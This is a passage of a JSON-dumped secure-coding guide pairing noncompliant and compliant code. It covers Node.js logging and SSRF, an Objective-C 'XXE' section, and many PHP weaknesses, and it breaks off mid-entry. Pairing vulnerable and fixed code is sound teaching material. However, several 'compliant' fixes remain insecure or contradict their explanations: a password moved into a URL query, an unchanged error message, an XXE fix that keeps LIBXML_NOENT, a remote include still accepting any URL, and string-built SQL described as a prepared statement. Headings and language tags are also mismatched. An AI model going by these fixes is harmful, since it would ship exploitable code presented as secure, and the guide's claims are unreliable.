req.params.id;\n\n  // Fetch user information from the database\n  const user = User.findById(userId);\n\n  // Log a generic message instead of sensitive information\n  console.log(`User requested: ${userId}`);\n\n  res.status(200).json(user);\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\n\nIn the compliant code, the application logs a generic message indicating that a user was requested, without directly exposing any sensitive information. By avoiding the logging of sensitive data, the compliant code helps protect user privacy and reduces the risk of data leakage through log files.\n\n\nIt's important to remember that sensitive information should not be logged in clear text or in a format that can easily be traced back to specific individuals or data records. Proper log management practices should be followed, such as using log levels, sanitizing logs, and implementing access controls to restrict log file access to authorized personnel.\n\n\n\n\n\n\n## Server-Side Request Forgery (SSRF)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst axios = require('axios');\n\nconst app = express();\n\napp.get('/fetch', (req, res) => {\n  const url = req.query.url;\n\n  // Make a request to the provided URL\n  axios.get(url)\n    .then(response => {\n      res.status(200).json(response.data);\n    })\n    .catch(error => {\n      res.status(500).json({ error: 'An error occurred while fetching the URL' });\n    });\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this noncompliant code, the application accepts a url query parameter from the user and directly makes a request to that URL using the axios library. This approach poses a significant security risk as an attacker can supply a malicious URL that targets internal network resources or exposes sensitive information.\n\n\nTo mitigate the SSRF vulnerability, here's a compliant code example:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst axios = require('axios');\nconst { URL } = require('url');\n\nconst app = express();\n\napp.get('/fetch', (req, res) => {\n  const url = req.query.url;\n\n  // Validate the URL to ensure it is not an internal resource\n  const parsedUrl = new URL(url);\n  if (parsedUrl.hostname !== 'example.com') {\n    return res.status(400).json({ error: 'Invalid URL' });\n  }\n\n  // Make a request to the provided URL\n  axios.get(url)\n    .then(response => {\n      res.status(200).json(response.data);\n    })\n    .catch(error => {\n      res.status(500).json({ error: 'An error occurred while fetching the URL' });\n    });\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn the compliant code, the URL parameter is validated to ensure that it points to an allowed domain (example.com in this case) before making the request. By enforcing this validation, the code prevents SSRF attacks by only allowing requests to trusted external resources.\n\nIt's important to note that the specific validation logic may vary depending on the application's requirements and security policies. The example above demonstrates a basic approach, but additional security measures such as IP whitelisting, input sanitization, and request timeout should be considered to further enhance SSRF protection."
  },
  {
    "path": "docs/rules/objectivec.md",
    "content": "---\nlayout: default\ntitle: Objective C\nparent: Rules\n---\n\n# Objective C\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n## XML External Entity (XXE)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\n// Noncompliant code\nNSString *input = [request parameterForKey:@\"input\"];\nNSLog(@\"Processing input: %@\", input);\n// Process the input without any validation or sanitization\n```\n\nIn this noncompliant code, the input variable is obtained from a request object without any validation or sanitization. This code is vulnerable to various security risks, such as injection attacks (e.g., SQL injection, command injection) or Cross-Site Scripting (XSS) attacks. Attackers can manipulate the input to execute malicious code or access sensitive information.\n\n\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\n// Compliant code\nNSString *input = [request parameterForKey:@\"input\"];\nNSCharacterSet *allowedCharacterSet = [NSCharacterSet alphanumericCharacterSet];\nNSString *sanitizedInput = [[input componentsSeparatedByCharactersInSet:[allowedCharacterSet invertedSet]] componentsJoinedByString:@\"\"];\nNSLog(@\"Processing input: %@\", sanitizedInput);\n// Process the sanitized input\n```\n\n\nIn the compliant code, the input variable is sanitized by removing any characters that are not alphanumeric. This is achieved by using NSCharacterSet to define the allowed character set and filtering out the characters that are not part of the set. By sanitizing the input before processing it, you reduce the risk of security vulnerabilities.\n\n\nIt's important to note that input sanitization requirements can vary depending on the specific use case and context. The example above provides a basic approach to sanitizing input, but it might not be sufficient for all scenarios. Depending on the desired input restrictions, you might need to employ more sophisticated techniques or use specialized libraries for input validation and sanitization.\n\nAdditional security measures you can implement to address vulnerabilities in Objective-C include:\n\n* Using parameterized queries or prepared statements when interacting with databases to prevent SQL injection attacks.\n* Applying proper input validation based on expected data types, formats, or ranges.\n* Utilizing encryption libraries or frameworks to protect sensitive data at rest or in transit.\n* Implementing access controls and authentication mechanisms to ensure that only authorized users can access sensitive operations or resources.\n\nBy applying these security measures and following best practices, you can mitigate vulnerabilities in Objective-C and enhance the overall security of your application.\n"
  },
  {
    "path": "docs/rules/php.md",
    "content": "---\nlayout: default\ntitle: PHP\nparent: Rules\n---\n\n# PHP\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n\n## Exposure of sensitive information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Noncompliant code - exposing sensitive information in error log\nfunction processUserInput($input) {\n  // Process user input\n  // ...\n  \n  // Log error with sensitive information\n  error_log(\"Error processing user input: $input\");\n}\n```\n\nIn this noncompliant code example, the function processUserInput() logs an error message that includes the user input directly into the error log. This can potentially expose sensitive information to anyone who has access to the error log file, including unauthorized users.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Compliant code - avoiding exposure of sensitive information in error log\nfunction processUserInput($input) {\n  // Process user input\n  // ...\n  \n  // Log error without sensitive information\n  error_log(\"Error processing user input\"); // Log generic error message\n}\n```\n\n\nIn the compliant code example, the function processUserInput() logs a generic error message without including the user input. By avoiding the inclusion of sensitive information in the error log, the code mitigates the risk of exposing sensitive data to unauthorized individuals.\n\nIt's important to note that error logs should only contain information necessary for debugging and should not include any sensitive data. Additionally, it's recommended to configure error log settings appropriately and restrict access to the error log files to authorized personnel only.\n\n\n\n## Insertion of Sensitive Information Into Sent Data\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n<?php\n// This code sends a user's password to a remote API as part of a JSON payload\n$payload = json_encode(array('username' => 'alice', 'password' => 's3cret'));\n$response = file_get_contents('https://example.com/api', null, stream_context_create(array(\n    'http' => array(\n        'method' => 'POST',\n        'header' => \"Content-Type: application/json\\r\\n\",\n        'content' => $payload,\n    ),\n)));\n?>\n```\n\nIn the noncompliant code above, a user's password is included in a JSON payload that is sent to a remote API over HTTPS. However, since HTTPS only encrypts the payload in transit and not at rest, the password may be vulnerable to exposure if the remote API is compromised.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n<?php\n// This code sends a user's password to a remote API as a URL parameter using HTTPS\n$username = 'alice';\n$password = 's3cret';\n$api_url = 'https://example.com/api?username=' . urlencode($username) . '&password=' . urlencode($password);\n$response = file_get_contents($api_url, null, stream_context_create(array(\n    'http' => array(\n        'method' => 'GET',\n    ),\n)));\n?>\n```\n\n\nIn the compliant code above, the user's password is not included in the payload but is instead sent as a URL parameter using HTTPS. This ensures that the password is encrypted in transit and not vulnerable to exposure if the remote API is compromised. Note that using GET requests to send sensitive information is not recommended, but this example is just for illustration purposes. A POST request would be more appropriate in most cases.\n\n\n\n\n## Cross-Site Request Forgery (CSRF)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n<form action=\"transfer.php\" method=\"post\">\n    <input type=\"hidden\" name=\"amount\" value=\"1000\">\n    <input type=\"submit\" value=\"Transfer Funds\">\n</form>\n```\n\nIn this noncompliant example, a form is submitted to a PHP script called \"transfer.php\" that transfers funds. The amount to be transferred is sent as a hidden form field called \"amount\". However, this code does not include any CSRF protection, meaning that an attacker could create a form on a different website that submits the same data to \"transfer.php\", tricking the user into transferring funds without their knowledge.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n<?php\nsession_start();\n$_SESSION['token'] = bin2hex(random_bytes(32));\n?>\n\n<form action=\"transfer.php\" method=\"post\">\n    <input type=\"hidden\" name=\"amount\" value=\"1000\">\n    <input type=\"hidden\" name=\"token\" value=\"<?php echo $_SESSION['token']; ?>\">\n    <input type=\"submit\" value=\"Transfer Funds\">\n</form>\n```\n\n\nIn this compliant example, a unique token is generated and stored in a session variable before the form is displayed. The token is then included as a hidden field in the form. When the form is submitted, the token is checked in the PHP script to ensure that the request came from a legitimate source. If the token is missing or invalid, the transfer is not allowed.\n\nThis provides a basic protection against CSRF attacks, as the attacker would not be able to generate a valid token without having access to the user's session data.\n\n\n\n## Use of Hard-coded Password\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// This code includes a hard-coded password directly in the script\n$password = \"MyHardCodedPassword123\";\n$connection = mysqli_connect(\"localhost\", \"myuser\", $password, \"mydatabase\");\n```\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// This code stores the password in a separate configuration file with restricted access\n$config = parse_ini_file(\"/etc/myapp/config.ini\");\n$connection = mysqli_connect(\"localhost\", \"myuser\", $config['db_password'], \"mydatabase\");\n```\n\nHard-coded passwords in code are a security risk as they can be easily discovered by attackers and used to gain unauthorized access. In the noncompliant code example, the password is directly included in the script, making it vulnerable to exposure.\n\nThe compliant code example addresses this issue by storing the password in a separate configuration file with restricted access. This helps to protect the password from being easily discovered by attackers and limits its exposure to authorized personnel who have access to the configuration file.\n\n\n\n\n## Broken or Risky Crypto Algorithm\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nfunction encryptData($data, $key) {\n    $iv = mcrypt_create_iv(16, MCRYPT_DEV_RANDOM);\n    $encryptedData = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC, $iv);\n    return $encryptedData;\n}\n```\n\n\nIn this example, the function encryptData() uses the mcrypt_encrypt() function with the MCRYPT_RIJNDAEL_128 algorithm for encryption. This algorithm is considered insecure and vulnerable to attacks.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nfunction encryptData($data, $key) {\n    $iv = openssl_random_pseudo_bytes(16);\n    $encryptedData = openssl_encrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);\n    return base64_encode($iv . $encryptedData);\n}\n\n```\nIn this example, the encryptData() function uses the openssl_encrypt() function with the aes-256-cbc algorithm for encryption, which is currently considered secure. Additionally, it uses openssl_random_pseudo_bytes() to generate a random initialization vector (IV) for each encryption, which improves the security of the encryption.\n\nBroken or risky cryptographic algorithms are often used in applications and systems to protect sensitive data. However, the use of such algorithms can lead to vulnerabilities that can be exploited by attackers. In the noncompliant code example, the mcrypt_encrypt() function with the MCRYPT_RIJNDAEL_128 algorithm is used for encryption, which is considered insecure and vulnerable to attacks. In the compliant code example, the openssl_encrypt() function with the aes-256-cbc algorithm is used instead, which is currently considered secure. Additionally, the openssl_random_pseudo_bytes() function is used to generate a random initialization vector for each encryption, which further enhances the security of the encryption.\n\n\n\n\n\n## Insufficient Entropy\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n$token = substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'), 0, 8);\n```\n\n\nInsufficient entropy can lead to weak or easily guessable keys, tokens, or passwords, making them susceptible to brute-force attacks.\n\nThe above code generates a random token of 8 characters by shuffling a fixed set of characters. However, the set of characters is too small, and the token is easily guessable and susceptible to brute-force attacks.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n$token = bin2hex(random_bytes(16));\n```\n\nThe above code generates a random token of 16 bytes using the random_bytes() function, which generates cryptographically secure pseudo-random bytes. The bin2hex() function converts the binary data into a hexadecimal string. The resulting token is much stronger and less susceptible to brute-force attacks.\n\nIn general, to avoid insufficient entropy vulnerability, it is recommended to use a cryptographically secure random number generator, such as random_bytes() or openssl_random_pseudo_bytes(), and ensure that the output has sufficient entropy, such as by using a sufficiently large key size or password length.\n\n\n\n\n## XSS\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n<?php\n$username = $_GET['username'];\necho \"Welcome \" . $username . \"!\";\n?>\n```\n\nThis code is noncompliant because it takes input directly from the user through the URL parameter \"username\" and displays it on the page without any validation or sanitization. An attacker could exploit this by injecting malicious JavaScript code into the \"username\" parameter, which would then execute in the user's browser, allowing the attacker to perform actions on the user's behalf or steal sensitive information.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n<?php\n$username = htmlspecialchars($_GET['username'], ENT_QUOTES, 'UTF-8');\necho \"Welcome \" . $username . \"!\";\n?>\n```\n\n\nThis code is compliant because it uses the PHP `htmlspecialchars` function to sanitize the user input in the \"username\" parameter. This function converts special characters such as `<`, `>`, and `&` to their HTML entity equivalents, preventing them from being interpreted as code by the browser. The `ENT_QUOTES` flag ensures that both single and double quotes are converted to their corresponding entities, and the `'UTF-8'` parameter specifies the character encoding used. By using this function, the code effectively mitigates the risk of XSS attacks.\n\n\n\n\n\n\n## SQL Injection\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n$username = $_POST['username'];\n$password = $_POST['password'];\n\n$sql = \"SELECT * FROM users WHERE username='$username' AND password='$password'\";\n$result = mysqli_query($conn, $sql);\n```\n\nThis code is vulnerable to SQL injection attacks because it uses user input directly in the SQL query without any validation or sanitization. An attacker can easily manipulate the input and inject malicious SQL code.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n$username = mysqli_real_escape_string($conn, $_POST['username']);\n$password = mysqli_real_escape_string($conn, $_POST['password']);\n\n$sql = \"SELECT * FROM users WHERE username='$username' AND password='$password'\";\n$result = mysqli_query($conn, $sql);\n```\n\nThis code uses mysqli_real_escape_string function to escape special characters in the user input, making it safe to use in the SQL query. However, it's worth noting that parameterized queries or prepared statements are generally a better approach for preventing SQL injection in PHP. Here's an example of how to use parameterized queries:\n\nCompliant code with parameterized query:\n\n\n```\n$username = $_POST['username'];\n$password = $_POST['password'];\n\n$stmt = $conn->prepare(\"SELECT * FROM users WHERE username=? AND password=?\");\n$stmt->bind_param(\"ss\", $username, $password);\n$stmt->execute();\n$result = $stmt->get_result();\n```\n\nThis code uses a parameterized query with placeholders (?) for the user input and binds the values using bind_param function, which is a safer way to prevent SQL injection attacks.\n\n\n\n\n## External Control of File Name or Path\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n$filename = $_GET['filename'];\n$file = '/path/to/directory/' . $filename;\nif (file_exists($file)) {\n  // do something with the file\n} else {\n  // handle error\n}\n```\n\n\nIn the example above, the `$filename` variable is taken directly from user input via the `$_GET` superglobal. This means an attacker can manipulate the value of `$filename` to try to access files outside of the intended directory.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n$filename = basename($_GET['filename']);\n$file = '/path/to/directory/' . $filename;\nif (file_exists($file) && is_file($file)) {\n  // do something with the file\n} else {\n  // handle error\n}\n```\n\nIn the compliant code, the `basename()` function is used to extract only the file name portion of the user input. This helps to prevent directory traversal attacks. Additionally, the `is_file()` function is used to ensure that the path corresponds to an actual file rather than a directory or symlink.\n\n\n\n\n\n## Generation of Error Message Containing Sensitive Information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n<?php\n$username = $_POST['username'];\n$password = $_POST['password'];\nif ($username != 'admin' || $password != 'secretpass') {\n  die('Invalid username or password!');\n}\n?>\n```\n\n\nIn this noncompliant code, the application displays an error message that reveals the fact that the username or password entered was incorrect, which could help an attacker in a brute-force attack.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n<?php\n$username = $_POST['username'];\n$password = $_POST['password'];\nif ($username != 'admin' || $password != 'secretpass') {\n  die('Invalid username or password!');\n} else {\n  // Valid login\n}\n?>\n```\n\nIn the compliant code, the application returns the same error message for an incorrect username or password, making it more difficult for an attacker to determine which field was incorrect.\n\nAdditionally, the application could be configured to log error messages that contain sensitive information, while providing a more generic error message to the user. This would allow the system administrator to identify and fix any errors while keeping sensitive information from being exposed to potential attackers.\n\n\n\n## unprotected storage of credentials\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n$username = $_POST['username'];\n$password = $_POST['password'];\n$file = fopen('credentials.txt', 'w');\nfwrite($file, \"Username: $username, Password: $password\");\nfclose($file);\n```\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n$username = $_POST['username'];\n$password = $_POST['password'];\n$hashedPassword = password_hash($password, PASSWORD_DEFAULT);\n$dbConnection = mysqli_connect('localhost', 'user', 'password', 'mydatabase');\n$query = \"INSERT INTO users (username, password) VALUES ('$username', '$hashedPassword')\";\nmysqli_query($dbConnection, $query);\n```\n\nThe noncompliant code above writes the entered username and password to a text file without any encryption or protection. This could lead to a potential data breach if the text file falls into the wrong hands.\n\nIn the compliant code, the password is first hashed using the PHP password_hash() function, which uses a strong one-way hashing algorithm to securely store the password. The hashed password is then stored in a database using a prepared statement to prevent SQL injection attacks.\n\n\n\n\n## Trust Boundary Violation\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n$user_id = $_GET['id'];\n$query = \"SELECT * FROM users WHERE id = \".$user_id;\n$results = mysqli_query($conn, $query);\n```\n\nIn the noncompliant code, the value of `$user_id` is taken directly from `$_GET`, which is an untrusted source, and then used in a SQL query without any validation or sanitization. This can allow an attacker to modify the SQL query and potentially extract or modify sensitive data from the database.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n$user_id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);\nif ($user_id === false) {\n    // handle invalid input\n} else {\n    $stmt = $conn->prepare(\"SELECT * FROM users WHERE id = ?\");\n    $stmt->bind_param(\"i\", $user_id);\n    $stmt->execute();\n    $results = $stmt->get_result();\n}\n```\n\n\nIn the compliant code, the value of `$user_id` is filtered using `filter_input()` with the `FILTER_VALIDATE_INT` filter, which ensures that the value is an integer. Then, a prepared statement is used to safely pass the value to the SQL query. This prevents SQL injection attacks by properly separating the query logic from the data values.\n\n\n\n\n\n## Insufficiently Protected Credentials\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n$password = $_POST['password'];\n$hashed_password = sha1($password);\n$query = \"INSERT INTO users (username, password) VALUES ('{$_POST['username']}', '{$hashed_password}')\";\nmysqli_query($conn, $query);\n```\n\nIn this code, the user's password is retrieved from the `$_POST` request without any validation or sanitation, and then hashed using the SHA-1 algorithm, which is no longer considered secure for password storage. Additionally, the hashed password is then inserted directly into a SQL query, which could be vulnerable to SQL injection attacks.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n$password = $_POST['password'];\nif (strlen($password) < 8) {\n    // Handle error: password must be at least 8 characters long\n}\n$salt = bin2hex(random_bytes(16));\n$hashed_password = password_hash($password . $salt, PASSWORD_ARGON2ID);\n$stmt = $conn->prepare(\"INSERT INTO users (username, password, salt) VALUES (?, ?, ?)\");\n$stmt->bind_param(\"sss\", $_POST['username'], $hashed_password, $salt);\n$stmt->execute();\n```\n\n\nIn this code, the user's password is first validated to ensure it is at least 8 characters long. Then, a random 16-byte salt is generated using a cryptographically secure random number generator. The password and salt are then hashed using the Argon2id algorithm, which is currently considered one of the most secure password hashing algorithms. Finally, the prepared statement is used to insert the username, hashed password, and salt into the database, protecting against SQL injection attacks.\n\n\n\n\n\n## Restriction of XML External Entity Reference\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n$xml = simplexml_load_string($xmlstring, 'SimpleXMLElement', LIBXML_NOENT);\n\n// use $xml here\n```\n\nIn the noncompliant code, LIBXML_NOENT is used as an option to the simplexml_load_string function. This allows the XML parser to process entity references, which can be used by an attacker to inject malicious code and execute it on the server.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n$disableEntities = libxml_disable_entity_loader(true);\n$xml = simplexml_load_string($xmlstring, 'SimpleXMLElement', LIBXML_NOENT);\nlibxml_disable_entity_loader($disableEntities);\n\n// use $xml here\n```\n\n\nIn the compliant code, libxml_disable_entity_loader is used to disable the loading of external entities in the XML parser. This prevents the parser from resolving external entity references, effectively mitigating the XXE vulnerability.\n\n\n\n\n\n## display_errors 1\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Example of security misconfiguration\nini_set('display_errors', 1);\n```\n\nIn the noncompliant code example, the ini_set() function is used to enable the display of errors to the user. This can potentially expose sensitive information and error messages to attackers.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Example of secure configuration\n// Disable the display of errors to the user\nini_set('display_errors', 0);\n// Log errors to a secure log file instead\nini_set('error_log', '/var/log/php_errors.log');\n```\n\n\nIn the compliant code example, the ini_set() function is used to disable the display of errors to the user, and instead log them to a secure log file. This helps to ensure that sensitive information is not exposed to attackers and that any errors are properly logged for debugging purposes.\n\n\n## Vulnerable and Outdated Components\n\n### PHPMailer library\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n<?php\n// Example of vulnerable and outdated components\n// using an old version of PHPMailer library\n\nrequire_once 'PHPMailer/class.phpmailer.php';\n\n$mail = new PHPMailer();\n\n$mail->IsSMTP();\n$mail->SMTPDebug = 1;\n$mail->SMTPAuth = true;\n$mail->SMTPSecure = 'ssl';\n\n$mail->Host = 'smtp.gmail.com';\n$mail->Port = 465;\n\n$mail->Username = 'example@gmail.com';\n$mail->Password = 'password';\n\n$mail->SetFrom('from@example.com', 'From Name');\n$mail->AddReplyTo('reply@example.com', 'Reply-to Name');\n\n$mail->Subject = 'Test email';\n$mail->Body = 'This is a test email';\n\n$mail->AddAddress('recipient@example.com', 'Recipient Name');\n\nif (!$mail->Send()) {\n    echo 'Message could not be sent.';\n    echo 'Mailer Error: ' . $mail->ErrorInfo;\n} else {\n    echo 'Message has been sent.';\n}\n?>\n```\n\nThe noncompliant code example shows the use of an outdated version of the PHPMailer library, which is vulnerable to security exploits. Specifically, it uses a vulnerable authentication method that can be exploited to gain unauthorized access to the email account, and it sends emails over an insecure connection.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n<?php\n// Example of secure and up-to-date code\n// using the latest version of PHPMailer library\n\nrequire_once 'PHPMailer/src/PHPMailer.php';\nrequire_once 'PHPMailer/src/SMTP.php';\n\n$mail = new PHPMailer\\PHPMailer\\PHPMailer(true);\n\n$mail->SMTPDebug = SMTP::DEBUG_SERVER;\n$mail->isSMTP();\n$mail->Host = 'smtp.gmail.com';\n$mail->SMTPAuth = true;\n$mail->Username = 'example@gmail.com';\n$mail->Password = 'password';\n$mail->SMTPSecure = PHPMailer\\PHPMailer\\PHPMailer::ENCRYPTION_STARTTLS;\n$mail->Port = 587;\n\n$mail->setFrom('from@example.com', 'From Name');\n$mail->addAddress('recipient@example.com', 'Recipient Name');\n\n$mail->isHTML(true);\n$mail->Subject = 'Test email';\n$mail->Body = 'This is a test email';\n\nif (!$mail->send()) {\n    echo 'Message could not be sent.';\n    echo 'Mailer Error: ' . $mail->ErrorInfo;\n```\n\n\nThe compliant code example uses the latest version of the PHPMailer library, which has improved security and is up-to-date with the latest security best practices. Specifically, it uses a secure authentication method, sends emails over an encrypted connection, and is set up to display server-side debug information in case of errors.\n\n\n\n\n\n## Improper Validation of Certificate with Host Mismatch\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n$host = $_SERVER['HTTP_HOST'];\n$opts = array('ssl' => array('verify_peer' => true, 'CN_match' => $host));\n$context = stream_context_create($opts);\n$data = file_get_contents('https://example.com', false, $context);\n```\n\nIn the noncompliant code above, the `$host` variable is set to the HTTP host provided by the client. This means that an attacker can easily manipulate the HTTP host header and bypass certificate validation by setting a different host. This can lead to man-in-the-middle attacks.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n$host = 'example.com';\n$opts = array('ssl' => array('verify_peer' => true, 'CN_match' => $host));\n$context = stream_context_create($opts);\n$data = file_get_contents('https://'.$host, false, $context);\n```\n\n\nIn the compliant code above, the `$host` variable is set to a trusted value, `example.com`. This ensures that the certificate is validated against the correct host and reduces the risk of man-in-the-middle attacks.\n\n\n\n\n\n## Improper Authentication\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Example 1: Weak Password\n$password = $_POST['password'];\nif ($password === 'password123') {\n    // Allow access\n} else {\n    // Deny access\n}\n\n// Example 2: Hardcoded Credentials\n$username = 'admin';\n$password = 'password';\nif ($_POST['username'] === $username && $_POST['password'] === $password) {\n    // Allow access\n} else {\n    // Deny access\n}\n```\n\nThe noncompliant code examples illustrate two common improper authentication issues. The first example shows the use of a weak password that can easily be guessed by attackers. The second example shows the use of hardcoded credentials that can be easily discovered by attackers.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Example 1: Strong Password\n$password = $_POST['password'];\nif (password_verify($password, $hashedPassword)) {\n    // Allow access\n} else {\n    // Deny access\n}\n\n// Example 2: Stored Credentials\n$username = $_POST['username'];\n$password = $_POST['password'];\n\n// Validate the user's credentials against a secure database\nif (validateCredentials($username, $password)) {\n    // Allow access\n} else {\n    // Deny access\n}\n```\n\n\nThe compliant code examples address these issues by using strong password hashing algorithms and storing user credentials securely in a database. The first example uses the `password_verify` function to compare the user's input password with a hashed password stored in the database. The second example validates the user's credentials against a secure database, rather than using hardcoded credentials in the application code.\n\n\n\n\n\n## Session Fixation\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n<?php\nsession_start();\nif (isset($_POST['username']) && isset($_POST['password'])) {\n  $username = $_POST['username'];\n  $password = $_POST['password'];\n  if (authenticate($username, $password)) {\n    $_SESSION['authenticated'] = true;\n    $_SESSION['username'] = $username;\n  }\n}\n?>\n```\n\nIn the noncompliant code above, the session ID is generated when `session_start()` is called. However, the authenticated session is not regenerated after a successful login. This leaves the user's session vulnerable to session fixation attacks.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n<?php\nsession_start();\nif (isset($_POST['username']) && isset($_POST['password'])) {\n  $username = $_POST['username'];\n  $password = $_POST['password'];\n  if (authenticate($username, $password)) {\n    // Regenerate session ID after successful login\n    session_regenerate_id();\n    $_SESSION['authenticated'] = true;\n    $_SESSION['username'] = $username;\n  }\n}\n?>\n```\n\n\nIn the compliant code above, the `session_regenerate_id()` function is called after a successful login to regenerate the session ID. This ensures that the user's session is protected against session fixation attacks.\n\n\n\n\n\n## Inclusion of Functionality from Untrusted Control\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n<?php\n$remoteUrl = $_GET['url'];\ninclude($remoteUrl);\n?>\n```\n\nIn this code, an attacker can control the `url` parameter and specify a malicious URL that contains code to be executed within the application's context. This can lead to arbitrary code execution, information disclosure, and other security issues.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n<?php\n$remoteUrl = $_GET['url'];\nif (filter_var($remoteUrl, FILTER_VALIDATE_URL)) {\n  include($remoteUrl);\n} else {\n  // handle error\n}\n?>\n```\n\n\nIn the compliant code, input validation is added to ensure that the `url` parameter is a valid URL before including the remote file. This reduces the risk of including a malicious file and protects against potential code execution and other security issues.\n\n\n\n## Download of Code Without Integrity Check\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n$url = 'https://example.com/package.tar.gz';\n$pkg = file_get_contents($url);\nfile_put_contents('/tmp/package.tar.gz', $pkg);\nsystem('tar -xvf /tmp/package.tar.gz');\n```\n\nIn this example, the code downloads a tarball package from a remote location and extracts its contents. However, the code does not verify the integrity of the downloaded package before use, making it susceptible to tampering by attackers.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n$url = 